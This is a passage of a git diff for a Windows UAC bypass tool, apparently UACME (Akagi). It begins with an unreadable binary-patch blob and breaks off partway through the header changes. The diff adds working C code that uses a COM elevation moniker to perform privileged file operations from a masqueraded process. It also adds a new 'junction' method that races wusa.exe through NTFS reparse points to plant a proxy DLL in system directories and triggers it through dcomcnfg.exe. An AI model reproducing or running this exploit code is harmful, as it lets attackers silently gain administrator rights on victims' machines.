zFaoEkD_2Q3+*hQ`tiIjeg^)9jfue1vw{F~#QRe)Jb74Y-E8*)B>}sB)Shq~vsbGMQ z3sl)#v~JGbb>`m8Fl54)KN2lSRcprGTBT~(qhP|K3m)BF*K6##ced?|G-1(U3otES z!9~_xO15m+vvb0Kg*P=VTenZtyL0Xc8Xx1uTNoBC7BphnE%rBKQMc&Zgc=ns8>VkK zxpB5khb3Xgg&tzXTD@P^N?TTW*syKX-3u1A-xlxpU7t>3wo)2$`Iv!$1@$uYZA;_5ewJVJGU7*u(zUwgLW*k=Z}wO!|}|Rl!3rx3*t>%H`lhT zTdr(>*tP+ZE5~*$viOgVb(7>QcruhDh1_;5uGMNuv}CeV+)rM{x(_KSWV2D&hIiS> zqcly!h050LZZ&|?tXq_A*s@W=h2<0^U!QK=@e}2&c%-qwrVAHgT4ibCjalGq*yCZH zgLkUt~fAZ!nX?_DEhc4wy8F@9N5vMB7kzXJUX`ne7^GSY|Stx!lf$|LOQ;)qOCK3 z_ilK*ZlZ&38V?_rYp=Nwgv01Cd$y$nd5u!mY?rMV@@$n*V&a8LwlgVnZo1ieqRi9~ zVIzhkAT3c{V}MOx#B5r_iN&`II4x|~ZdQ#G=KZ)aQNpvz5P2JVc3NWtC0nxJ2csAE91~;Fk#@O02CuywPA6sO15g*r;*wP2?nfR zuWnqpa^+2(GGW3?4VEb1v})b0J2r0EBHff6+p``4jRFBcldJh@-)9}kR4O>)QQT4-8gW4xe zNA<=Dh&ye6i@3mHa!`8~1uC`ErmbtnZ0M0ehgD7`0;@eMzA9yZsZ(f#6{XO^b}PIh?f7d}?JtoHh?`-G z2#!ZA%k^Q*rZ?uy*m`!r<13#h5;m#!>yyyzU2qgGaAb;;oY5~!i7RD^)K`yS8`%jwf>+Y zlJ*LlY+4EpRaHX4XudS!1BG#+J=XPqXx+Y3oD9X$bjRZ`+*wL`WMOa1!$%OsYt}Um z=uA>RQ$wy3=FDd$xDuc%5II4C#@x`eT!#e?7FkR^ zgWy`LnC0D{fx<^a);?Zen;^MzR!rCkDM3LiNz`lRYWKYoJ+xa&WzE5kysS!pI%9j= zd7A9J0G`*eDJCHII(ye$6n1QA-|WxxixW9$Wv_#&Xe2D-_iX+E!b(Mrg~7tjf>Jo_)N5O~gx73S(3_472D`mm2W(gPL*axKH8wnF z0LBa(v}CEMQ-*0DwdZVA3s)(B7d~rq8FRLT5hK|`s|yz(0Sl<6rgXM**{@*Vgrk!6 z@c|m#aR=rY>@bbCg*MAmsFSi(|x&Q09n4A^DcnnG{3AJmv ztv$9F*vDbQy}t#t@u=nAwqtgL9ZUZ}PZ z#sz2=KwHyp@@aA8w5Tv)!tiK&VOrV>vhF(C0J^XMq3$O(NjKYK{MBRU9i1FOhUp7> zZ#%{g_K8PWv+#15sY7lYbdEO(;l|ffv&bWHcu+E z{MR^f=(%V)@W!|gRbM~UYof>t!~?t462kUe7A*_H8vMBmiMi?!60711cuX$98MBQu zwh5}$VT$Z&e?2hXPQ7e$gTC%C2%+F7Hf%oF6Tja&L1byRR5Nsc0Gyc{OK#k`Tg1$$ zAR@vA3pRIOXEWF3RkdySw0OhE0Tyqsw{6_37vRi_WMRjJ86qiKr;FCTE4P2%uyVtN zEEXlJu@2dZbK;!2BW1#t?-mPMu^;%YtEX((uwu}K3n~sxfAczm@v6Uo`Mk_h>>ip6MlAX z_;+HDhoQddQ30ymaku9fTroQ?K?)M=OSNR!XJD(St#5E#>!i^n;Eqztn3M5;a*&BlFcxR?Ds^KccQIZw3HdRGNK;3&-ta<{P=oQ=gjoToeGr zWn$ev*$4P-TQem$v4On*4t98dS1dL58nvy=K+K}cZ+0oWwg0xPBi3!LQDFq-3Z6|` zUOqkQ%vRf&FvTK=>K6Grw83i4T2_qMR)La9YZpec_>Ybi6SXXOGJwJ|_I50;)oMw! zWU^C#+>d4bfix*8WV2D&hIiS>qcmW`4$9VTZZ&|?tXsEi+PG1|h2<0^U$<@+@e}2& zc%-qwg$i0NQe|o4jalGqi?HFHg) zi3}DmTOVlLV{-${r?Fz7g%36^+_ZkwtaVm@VcAeLXDjW{r2!nX?_jaT+6wy8F@9N5u;$NW0BJUX`n ze7^GSnV1+R!lf$|LOQ-5)*CbTZg{(HqJwT4X?wEfuelI}!{{&-;))GCy6rz}N zG&?-kblfci70uoN&)6p_z} zTjtE%;Ag{i6Bta&v%cRtdA4l)us8y#3qt)`MozCudWSvYEojCy3KSnv`fJG-tfZ-J W$FY9HnhFUlM7D9=rgG=gnJ{5*>?axk diff --git a/Source/Akagi/consts.h b/Source/Akagi/consts.h index 311fb15..3a618c2 100644 --- a/Source/Akagi/consts.h +++ b/Source/Akagi/consts.h @@ -4,9 +4,9 @@ * * TITLE: CONSTS.H * -* VERSION: 2.72 +* VERSION: 2.74 * -* DATE: 26 May 2017 +* DATE: 20 June 2017 * * Global consts definition file. * @@ -24,6 +24,7 @@ #define T_UACKEY L"MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\system" #define T_APP_PATH L"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" +#define T_DOTNET_CLIENT L"Software\\Microsoft\\Windows NT\\CurrentVersion\\KnownFunctionTableDlls" #define T_EXEFILE_SHELL L"Software\\Classes\\exefile\\shell\\runas\\command" #define T_MSSETTINGS L"Software\\Classes\\ms-settings" #define T_SHELL_OPEN_COMMAND L"\\shell\\open\\command" @@ -56,6 +57,7 @@ #define DISMCORE_DLL L"dismcore.dll" #define DUSER_DLL L"duser.dll" #define ELSEXT_DLL L"elsext.dll" +#define GDIPLUS_DLL L"GdiPlus.dll" #define HIBIKI_DLL L"Hibiki.dll" #define KERNEL32_DLL L"kernel32.dll" #define LOGPROVIDER_DLL L"LogProvider.dll" @@ -80,6 +82,7 @@ #define CONSENT_EXE L"consent.exe" #define CONTROL_EXE L"control.exe" #define CREDWIZ_EXE L"credwiz.exe" +#define DCOMCNFG_EXE L"dcomcnfg.exe" #define EVENTVWR_EXE L"eventvwr.exe" #define EXPLORER_EXE L"explorer.exe" #define FODHELPER_EXE L"fodhelper.exe" diff --git a/Source/Akagi/global.h b/Source/Akagi/global.h index 428e3de..870881f 100644 --- a/Source/Akagi/global.h +++ b/Source/Akagi/global.h @@ -4,9 +4,9 @@ * * TITLE: GLOBAL.H * -* VERSION: 2.72 +* VERSION: 2.74 * -* DATE: 24 May 2017 +* DATE: 10 June 2017 * * Common header file for the program support routines. * @@ -37,6 +37,7 @@ #pragma warning(disable: 4152) // nonstandard extension, function/data pointer conversion in expression #pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union #pragma warning(disable: 6102) // Using %s from failed function call at line %u +#pragma warning(disable: 6258) // Using TerminateThread does not allow proper thread clean up #pragma warning(disable: 6320) // exception-filter expression is the constant EXCEPTION_EXECUTE_HANDLER #define PAYLOAD_ID_NONE MAXDWORD @@ -63,7 +64,7 @@ #include "shared\minirtl.h" #include "shared\cmdline.h" #include "shared\_filename.h" -#include "Shared\ldr.h" +#include "shared\ldr.h" #include "consts.h" #include "compress.h" #include "sup.h" @@ -86,7 +87,7 @@ typedef struct _UACME_CONTEXT { ULONG dwBuildNumber; ULONG AkagiFlag; ULONG IFileOperationFlags; - ULONG OptionalParameterLength; + ULONG OptionalParameterLength; //count of characters WCHAR szSystemDirectory[MAX_PATH + 1];//with end slash WCHAR szTempDirectory[MAX_PATH + 1]; //with end slash WCHAR szOptionalParameter[MAX_PATH + 1]; //limited to MAX_PATH diff --git a/Source/Akagi/main.c b/Source/Akagi/main.c index c79d1ae..6fb5d93 100644 --- a/Source/Akagi/main.c +++ b/Source/Akagi/main.c @@ -4,9 +4,9 @@ * * TITLE: MAIN.C * -* VERSION: 2.72 +* VERSION: 2.73 * -* DATE: 26 May 2017 +* DATE: 08 June 2017 * * Program entry point. * @@ -136,8 +136,8 @@ UINT ucmInit( bytesIO = 0; GetCommandLineParam(GetCommandLine(), 2, szBuffer, MAX_PATH, &bytesIO); if (bytesIO > 0) { - g_ctx.OptionalParameterLength = bytesIO; _strcpy(g_ctx.szOptionalParameter, szBuffer); + g_ctx.OptionalParameterLength = 1 + bytesIO; //including 0 } wincls.cbSize = sizeof(WNDCLASSEX); diff --git a/Source/Akagi/methods/carberp.c b/Source/Akagi/methods/carberp.c index a668785..e6597a8 100644 --- a/Source/Akagi/methods/carberp.c +++ b/Source/Akagi/methods/carberp.c @@ -4,9 +4,9 @@ * * TITLE: CARBERP.C * -* VERSION: 2.70 +* VERSION: 2.74 * -* DATE: 25 Mar 2017 +* DATE: 10 June 2017 * * Tweaked Carberp methods. * Original Carberp is exploiting mcx2prov.exe in ehome. @@ -18,52 +18,6 @@ * *******************************************************************************/ #include "global.h" -#include "makecab.h" - -/* -* ucmWusaExtractPackage -* -* Purpose: -* -* Extract cab to protected directory using wusa. -* This routine expect source as ellocnak.msu cab file in the temp folder. -* -*/ -BOOL ucmWusaExtractPackage( - _In_ LPWSTR lpTargetDirectory -) -{ - BOOL bResult = FALSE; - SIZE_T Size; - LPWSTR lpCommandLine = NULL; - WCHAR szMsuFileName[MAX_PATH * 2]; - - if (lpTargetDirectory == NULL) - return FALSE; - - RtlSecureZeroMemory(szMsuFileName, sizeof(szMsuFileName)); - _strcpy(szMsuFileName, g_ctx.szTempDirectory); - _strcat(szMsuFileName, ELLOCNAK_MSU); - - Size = ((1 + _strlen(lpTargetDirectory) + - _strlen(szMsuFileName) + - MAX_PATH) * sizeof(WCHAR)); - - lpCommandLine = (LPWSTR)supHeapAlloc(Size); - if (lpCommandLine) { - - _strcpy(lpCommandLine, L"/c wusa "); - _strcat(lpCommandLine, szMsuFileName); - _strcat(lpCommandLine, L" /extract:"); - _strcat(lpCommandLine, lpTargetDirectory); - - bResult = supRunProcess(CMD_EXE, lpCommandLine); - - supHeapFree(lpCommandLine); - } - DeleteFileW(szMsuFileName); - return bResult; -} /* * ucmWusaMethod @@ -142,55 +96,5 @@ BOOL ucmWusaMethod( } while (cond); - - return bResult; -} - -/* -* ucmCreateCabinetForSingleFile -* -* Purpose: -* -* Build cabinet for usage in methods where required 1 file. -* -*/ -BOOL ucmCreateCabinetForSingleFile( - _In_ LPWSTR lpSourceDll, - _In_ PVOID ProxyDll, - _In_ DWORD ProxyDllSize -) -{ - BOOL cond = FALSE, bResult = FALSE; - CABDATA *Cabinet = NULL; - LPWSTR lpFileName; - WCHAR szMsuFileName[MAX_PATH * 2]; - - if ((ProxyDll == NULL) || - (ProxyDllSize == 0) || - (lpSourceDll == NULL)) return bResult; - - do { - - //drop proxy dll - if (!supWriteBufferToFile(lpSourceDll, ProxyDll, ProxyDllSize)) { - break; - } - - //build cabinet - RtlSecureZeroMemory(szMsuFileName, sizeof(szMsuFileName)); - _strcpy(szMsuFileName, g_ctx.szTempDirectory); - _strcat(szMsuFileName, ELLOCNAK_MSU); - - Cabinet = cabCreate(szMsuFileName); - if (Cabinet == NULL) - break; - - lpFileName = _filename(lpSourceDll); - //put file without compression - bResult = cabAddFile(Cabinet, lpSourceDll, lpFileName); - cabClose(Cabinet); - - } while (cond); - return bResult; } diff --git a/Source/Akagi/methods/carberp.h b/Source/Akagi/methods/carberp.h index ed34b7d..63b37c4 100644 --- a/Source/Akagi/methods/carberp.h +++ b/Source/Akagi/methods/carberp.h @@ -4,9 +4,9 @@ * * TITLE: CARBERP.H * -* VERSION: 2.70 +* VERSION: 2.74 * -* DATE: 25 Mar 2017 +* DATE: 10 June 2017 * * Prototypes and definitions for Carberp method. * @@ -22,11 +22,3 @@ BOOL ucmWusaMethod( _In_ UCM_METHOD Method, PVOID ProxyDll, DWORD ProxyDllSize); - -BOOL ucmWusaExtractPackage( - _In_ LPWSTR lpTargetDirectory); - -BOOL ucmCreateCabinetForSingleFile( - _In_ LPWSTR lpSourceDll, - _In_ PVOID ProxyDll, - _In_ DWORD ProxyDllSize); diff --git a/Source/Akagi/methods/comfileop.c b/Source/Akagi/methods/comfileop.c new file mode 100644 index 0000000..23bf382 --- /dev/null +++ b/Source/Akagi/methods/comfileop.c @@ -0,0 +1,333 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2017 +* +* TITLE: COMFILEOP.C +* +* VERSION: 2.74 +* +* DATE: 10 June 2017 +* +* IFileOperation based routines. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ +#include "global.h" + +/* +* ucmMasqueradedCoGetObjectElevate +* +* Purpose: +* +* CoGetObject elevation as admin. +* +*/ +HRESULT ucmMasqueradedCoGetObjectElevate( + _In_ LPWSTR clsid, + _In_ DWORD dwClassContext, + _In_ REFIID riid, + _Outptr_ void **ppv +) +{ + HRESULT r = E_FAIL; + BIND_OPTS3 bop; + WCHAR szElevationMoniker[MAX_PATH]; + + if (clsid == NULL) + return r; + + if (_strlen(clsid) > 64) + return r; + + RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker)); + + _strcpy(szElevationMoniker, L"Elevation:Administrator!new:"); + _strcat(szElevationMoniker, clsid); + + RtlSecureZeroMemory(&bop, sizeof(bop)); + bop.cbStruct = sizeof(bop); + bop.dwClassContext = dwClassContext; + + return CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, riid, ppv); +} + +/* +* ucmMasqueradedRenameElementCOM +* +* Purpose: +* +* Rename file/directory autoelevated. +* This function expects that supMasqueradeProcess was called on process initialization. +* +*/ +BOOL ucmMasqueradedRenameElementCOM( + _In_ LPWSTR OldName, + _In_ LPWSTR NewName +) +{ + BOOL bCond = FALSE, bResult = FALSE; + IFileOperation *FileOperation1 = NULL; + IShellItem *psiDestDir = NULL; + HRESULT r = E_FAIL; + + do { + + if ((OldName == NULL) || (NewName == NULL)) + break; + + r = CoCreateInstance(&CLSID_FileOperation, NULL, + CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, &IID_IFileOperation, &FileOperation1); + + if (r != S_OK) { + break; + } + + if (FileOperation1 != NULL) { + FileOperation1->lpVtbl->Release(FileOperation1); + } + + r = ucmMasqueradedCoGetObjectElevate( + T_CLSID_FileOperation, + CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, + &IID_IFileOperation, + &FileOperation1); + + if (r != S_OK) { + break; + } + if (FileOperation1 == NULL) { + r = E_FAIL; + break; + } + + FileOperation1->lpVtbl->SetOperationFlags(FileOperation1, g_ctx.IFileOperationFlags); + + r = SHCreateItemFromParsingName(OldName, NULL, &IID_IShellItem, &psiDestDir); + if (r != S_OK) { + break; + } + + r = FileOperation1->lpVtbl->RenameItem(FileOperation1, psiDestDir, NewName, NULL); + if (r != S_OK) { + break; + } + + r = FileOperation1->lpVtbl->PerformOperations(FileOperation1); + if (r != S_OK) { + break; + } + + psiDestDir->lpVtbl->Release(psiDestDir); + psiDestDir = NULL; + + bResult = TRUE; + + } while (bCond); + + if (FileOperation1 != NULL) { + FileOperation1->lpVtbl->Release(FileOperation1); + } + + if (psiDestDir != NULL) { + psiDestDir->lpVtbl->Release(psiDestDir); + } + + return bResult; +} + +/* +* ucmMasqueradedCreateSubDirectoryCOM +* +* Purpose: +* +* Create directory autoelevated. +* This function expects that supMasqueradeProcess was called on process initialization. +* +*/ +BOOL ucmMasqueradedCreateSubDirectoryCOM( + _In_ LPWSTR ParentDirectory, + _In_ LPWSTR SubDirectory +) +{ + BOOL bCond = FALSE, bResult = FALSE; + IFileOperation *FileOperation1 = NULL; + IShellItem *psiDestDir = NULL; + HRESULT r = E_FAIL; + + do { + + if ((SubDirectory == NULL) || (ParentDirectory == NULL)) + break; + + r = CoCreateInstance(&CLSID_FileOperation, NULL, + CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, &IID_IFileOperation, &FileOperation1); + + if (r != S_OK) { + break; + } + + if (FileOperation1 != NULL) { + FileOperation1->lpVtbl->Release(FileOperation1); + } + + r = ucmMasqueradedCoGetObjectElevate( + T_CLSID_FileOperation, + CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, + &IID_IFileOperation, + &FileOperation1); + + if (r != S_OK) { + break; + } + if (FileOperation1 == NULL) { + r = E_FAIL; + break; + } + + FileOperation1->lpVtbl->SetOperationFlags(FileOperation1, g_ctx.IFileOperationFlags); + + r = SHCreateItemFromParsingName(ParentDirectory, NULL, &IID_IShellItem, &psiDestDir); + if (r != S_OK) { + break; + } + + r = FileOperation1->lpVtbl->NewItem(FileOperation1, psiDestDir, FILE_ATTRIBUTE_DIRECTORY, SubDirectory, NULL, NULL); + if (r != S_OK) { + break; + } + + r = FileOperation1->lpVtbl->PerformOperations(FileOperation1); + if (r != S_OK) { + break; + } + + psiDestDir->lpVtbl->Release(psiDestDir); + psiDestDir = NULL; + + bResult = TRUE; + + } while (bCond); + + if (FileOperation1 != NULL) { + FileOperation1->lpVtbl->Release(FileOperation1); + } + + if (psiDestDir != NULL) { + psiDestDir->lpVtbl->Release(psiDestDir); + } + + return bResult; +} + +/* +* ucmMasqueradedMoveCopyFileCOM +* +* Purpose: +* +* Move or Copy file autoelevated. +* This function expects that supMasqueradeProcess was called on process initialization. +* +*/ +BOOL ucmMasqueradedMoveCopyFileCOM( + _In_ LPWSTR SourceFileName, + _In_ LPWSTR DestinationDir, + _In_ BOOL fMove +) +{ + BOOL cond = FALSE; + IFileOperation *FileOperation1 = NULL; + IShellItem *isrc = NULL, *idst = NULL; + SHELLEXECUTEINFOW shexec; + HRESULT r = E_FAIL; + + do { + + if ((SourceFileName == NULL) || (DestinationDir == NULL)) + break; + + RtlSecureZeroMemory(&shexec, sizeof(shexec)); + + r = CoCreateInstance(&CLSID_FileOperation, NULL, + CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, &IID_IFileOperation, &FileOperation1); + + if (r != S_OK) + break; + + if (FileOperation1 != NULL) + FileOperation1->lpVtbl->Release(FileOperation1); + + r = ucmMasqueradedCoGetObjectElevate( + T_CLSID_FileOperation, + CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, + &IID_IFileOperation, + &FileOperation1); + + if (r != S_OK) + break; + + if (FileOperation1 == NULL) { + r = E_FAIL; + break; + } + + FileOperation1->lpVtbl->SetOperationFlags(FileOperation1, g_ctx.IFileOperationFlags); + + r = SHCreateItemFromParsingName(SourceFileName, NULL, &IID_IShellItem, &isrc); + if (r != S_OK) + break; + + r = SHCreateItemFromParsingName(DestinationDir, NULL, &IID_IShellItem, &idst); + if (r != S_OK) + break; + + if (fMove) + r = FileOperation1->lpVtbl->MoveItem(FileOperation1, isrc, idst, NULL, NULL); + else + r = FileOperation1->lpVtbl->CopyItem(FileOperation1, isrc, idst, NULL, NULL); + + if (r != S_OK) + break; + + r = FileOperation1->lpVtbl->PerformOperations(FileOperation1); + if (r != S_OK) + break; + + idst->lpVtbl->Release(idst); + idst = NULL; + isrc->lpVtbl->Release(isrc); + isrc = NULL; + + } while (cond); + + if (FileOperation1 != NULL) + FileOperation1->lpVtbl->Release(FileOperation1); + + if (isrc != NULL) + isrc->lpVtbl->Release(isrc); + + if (idst != NULL) + idst->lpVtbl->Release(idst); + + return (SUCCEEDED(r)); +} + +/* +* ucmMasqueradedMoveFileCOM +* +* Purpose: +* +* Move file autoelevated. +* This function expects that supMasqueradeProcess was called on process initialization. +* +*/ +BOOL ucmMasqueradedMoveFileCOM( + _In_ LPWSTR SourceFileName, + _In_ LPWSTR DestinationDir +) +{ + return ucmMasqueradedMoveCopyFileCOM(SourceFileName, DestinationDir, TRUE); +} diff --git a/Source/Akagi/methods/comfileop.h b/Source/Akagi/methods/comfileop.h new file mode 100644 index 0000000..43cc969 --- /dev/null +++ b/Source/Akagi/methods/comfileop.h @@ -0,0 +1,42 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2017 +* +* TITLE: COMFILEOP.H +* +* VERSION: 2.74 +* +* DATE: 10 June 2017 +* +* Prototypes and definitions for IFileOperation based routines. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ +#pragma once + +HRESULT ucmMasqueradedCoGetObjectElevate( + _In_ LPWSTR clsid, + _In_ DWORD dwClassContext, + _In_ REFIID riid, + _Outptr_ void **ppv); + +BOOL ucmMasqueradedCreateSubDirectoryCOM( + _In_ LPWSTR ParentDirectory, + _In_ LPWSTR SubDirectory); + +BOOL ucmMasqueradedMoveCopyFileCOM( + _In_ LPWSTR SourceFileName, + _In_ LPWSTR DestinationDir, + _In_ BOOL fMove); + +BOOL ucmMasqueradedMoveFileCOM( + _In_ LPWSTR SourceFileName, + _In_ LPWSTR DestinationDir); + +BOOL ucmMasqueradedRenameElementCOM( + _In_ LPWSTR OldName, + _In_ LPWSTR NewName); diff --git a/Source/Akagi/methods/enigma0x3.c b/Source/Akagi/methods/enigma0x3.c index 4510c90..26b8ada 100644 --- a/Source/Akagi/methods/enigma0x3.c +++ b/Source/Akagi/methods/enigma0x3.c @@ -4,9 +4,9 @@ * * TITLE: ENIGMA0X3.C * -* VERSION: 2.73 +* VERSION: 2.74 * -* DATE: 27 May 2017 +* DATE: 20 June 2017 * * Enigma0x3 autoelevation methods and everything based on the same * ShellExecute related registry manipulations idea. @@ -62,7 +62,7 @@ BOOL ucmHijackShellCommandMethod( sz = 0x1000; } else { - sz = _strlen(lpszPayload) * sizeof(WCHAR); + sz = (1 + _strlen(lpszPayload)) * sizeof(WCHAR); } lpBuffer = supHeapAlloc(sz); if (lpBuffer == NULL) @@ -162,7 +162,8 @@ DWORD ucmDiskCleanupWorkerThread( InitializeObjectAttributes(&ObjectAttributes, &usName, OBJ_CASE_INSENSITIVE, 0, NULL); - status = NtCreateFile(&hDirectory, FILE_LIST_DIRECTORY | SYNCHRONIZE, + status = NtCreateFile(&hDirectory, + FILE_LIST_DIRECTORY | SYNCHRONIZE, &ObjectAttributes, &IoStatusBlock, NULL, @@ -171,8 +172,7 @@ DWORD ucmDiskCleanupWorkerThread( FILE_OPEN, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, - 0 - ); + 0); if (!NT_SUCCESS(status)) break; @@ -362,7 +362,7 @@ BOOL ucmAppPathMethod( sz = 0x1000; } else { - sz = _strlen(lpszPayload) * sizeof(WCHAR); + sz = (1 + _strlen(lpszPayload)) * sizeof(WCHAR); } lpBuffer = supHeapAlloc(sz); if (lpBuffer == NULL) diff --git a/Source/Akagi/methods/hybrids.c b/Source/Akagi/methods/hybrids.c index 8c04620..d64bfc5 100644 --- a/Source/Akagi/methods/hybrids.c +++ b/Source/Akagi/methods/hybrids.c @@ -4,9 +4,9 @@ * * TITLE: HYBRIDS.C * -* VERSION: 2.71 +* VERSION: 2.74 * -* DATE: 06 May 2017 +* DATE: 20 June 2017 * * Hybrid UAC bypass methods. * @@ -1738,3 +1738,136 @@ BOOL ucmUiAccessMethod( return bResult; } + +/* +* ucmJunctionMethod +* +* Purpose: +* +* Bypass UAC using two different steps: +* +* 1) Create wusa.exe race condition and force wusa to copy files to the protected directory using NTFS reparse point. +* 2) Dll hijack dotnet dependencies. +* +* Wusa race condition in combination with junctions found by Thomas Vanhoutte. +* Twitter: https://twitter.com/SandboxEscaper +* Blog: https://thomas-vanhoutte.blogspot.be +* +*/ +BOOL ucmJunctionMethod( + PVOID ProxyDll, + DWORD ProxyDllSize +) +{ + BOOL bResult = FALSE, bDropComplete = FALSE, bCond = FALSE; + HKEY hKey = NULL; + LRESULT lResult; + + LPWSTR lpTargetDirectory = NULL, lpEnd = NULL; + + DWORD i, cValues = 0, cbMaxValueNameLen = 0, bytesIO; + + WCHAR szBuffer[MAX_PATH * 2]; + WCHAR szSource[MAX_PATH * 2]; + + do { + + // + // Drop payload dll to %temp% and make cab for it. + // + RtlSecureZeroMemory(szSource, sizeof(szSource)); + _strcpy(szSource, g_ctx.szTempDirectory); + + if (g_ctx.dwBuildNumber < 9600) { + _strcat(szSource, OLE32_DLL); + } + else { + _strcat(szSource, MSCOREE_DLL); + } + if (!ucmCreateCabinetForSingleFile(szSource, ProxyDll, ProxyDllSize)) + break; + + // + // Locate target directory. + // + lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, T_DOTNET_CLIENT, 0, MAXIMUM_ALLOWED, &hKey); + if (lResult != ERROR_SUCCESS) + break; + + lResult = RegQueryInfoKey(hKey, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL, + &cValues, + &cbMaxValueNameLen, + NULL, + NULL, + NULL); + + if (lResult != ERROR_SUCCESS) + break; + + if ((cValues == 0) || (cbMaxValueNameLen == 0)) + break; + + if (cbMaxValueNameLen > MAX_PATH) + break; + + bDropComplete = FALSE; + + // + // Drop file in each. + // + for (i = 0; i < cValues; i++) { + + RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer)); + bytesIO = MAX_PATH; + + lResult = RegEnumValue(hKey, + i, + (LPWSTR)&szBuffer, + &bytesIO, + NULL, + NULL, + NULL, + NULL); + + lpTargetDirectory = _filepath(szBuffer, szBuffer); + if (lpTargetDirectory == NULL) { + bDropComplete = FALSE; + break; + } + + lpEnd = _strend(lpTargetDirectory); + if (*(lpEnd - 1) == TEXT('\\')) + *(lpEnd - 1) = TEXT('\0'); + + if (!ucmWusaExtractViaJunction(lpTargetDirectory)) { + bDropComplete = FALSE; + break; + } + + bDropComplete = TRUE; + } + + if (!bDropComplete) + break; + + // + // Exploit dll hijacking. + // + RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); + _strcpy(szBuffer, g_ctx.szSystemDirectory); + _strcat(szBuffer, DCOMCNFG_EXE); + bResult = supRunProcess(szBuffer, NULL); + + } while (bCond); + + if (hKey != NULL) + RegCloseKey(hKey); + + return bResult; +} diff --git a/Source/Akagi/methods/hybrids.h b/Source/Akagi/methods/hybrids.h index 7765862..0bbbc50 100644 --- a/Source/Akagi/methods/hybrids.h +++ b/Source/Akagi/methods/hybrids.h @@ -4,9 +4,9 @@ * * TITLE: HYBRIDS.H * -* VERSION: 2.71 +* VERSION: 2.74 * -* DATE: 06 May 2017 +* DATE: 20 June 2017 * * Prototypes and definitions for hybrid methods. * @@ -96,3 +96,7 @@ BOOL ucmWow64LoggerMethod( BOOL ucmUiAccessMethod( PVOID ProxyDll, DWORD ProxyDllSize); + +BOOL ucmJunctionMethod( + PVOID ProxyDll, + DWORD ProxyDllSize); diff --git a/Source/Akagi/methods/methods.c b/Source/Akagi/methods/methods.c index f73413d..14f182b 100644 --- a/Source/Akagi/methods/methods.c +++ b/Source/Akagi/methods/methods.c @@ -4,9 +4,9 @@ * * TITLE: METHODS.C * -* VERSION: 2.73 +* VERSION: 2.74 * -* DATE: 27 May 2017 +* DATE: 20 June 2017 * * UAC bypass dispatch. * @@ -47,6 +47,7 @@ UCM_API(MethodUiAccess); UCM_API(MethodMsSettings); UCM_API(MethodTyranid); UCM_API(MethodTokenMod); +UCM_API(MethodJunction); UCM_API_DISPATCH_ENTRY ucmMethodsDispatchTable[UCM_DISPATCH_ENTRY_MAX] = { { MethodTest, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE }, @@ -78,13 +79,14 @@ UCM_API_DISPATCH_ENTRY ucmMethodsDispatchTable[UCM_DISPATCH_ENTRY_MAX] = { { MethodEnigma0x3_2, NULL, { 7600, 15031 }, FUBUKI_ID, FALSE, TRUE, TRUE }, { MethodExpLife, NULL, { 7600, 16199 }, PAYLOAD_ID_NONE, FALSE, TRUE, FALSE }, { MethodSandworm, NULL, { 7600, 9600 }, FUBUKI_ID, FALSE, TRUE, TRUE }, - { MethodEnigma0x3_3, NULL, { 10240, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, TRUE, FALSE }, + { MethodEnigma0x3_3, NULL, { 10240, 16215 }, PAYLOAD_ID_NONE, FALSE, TRUE, FALSE }, { MethodWow64Logger, NULL, { 7600, MAXDWORD }, AKATSUKI_ID, FALSE, TRUE, TRUE }, { MethodEnigma0x3_4, NULL, {10240, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE }, { MethodUiAccess, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE }, { MethodMsSettings, NULL, { 10240, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE }, { MethodTyranid, NULL, { 9600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE }, - { MethodTokenMod, NULL, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE } + { MethodTokenMod, NULL, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE }, + { MethodJunction, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE } }; /* @@ -686,3 +688,11 @@ UCM_API(MethodTokenMod) return ucmTokenModification(lpszPayload); } + +UCM_API(MethodJunction) +{ + UNREFERENCED_PARAMETER(Method); + UNREFERENCED_PARAMETER(ExtraContext); + + return ucmJunctionMethod(PayloadCode, PayloadSize); +} diff --git a/Source/Akagi/methods/methods.h b/Source/Akagi/methods/methods.h index 8e18875..4ba86b7 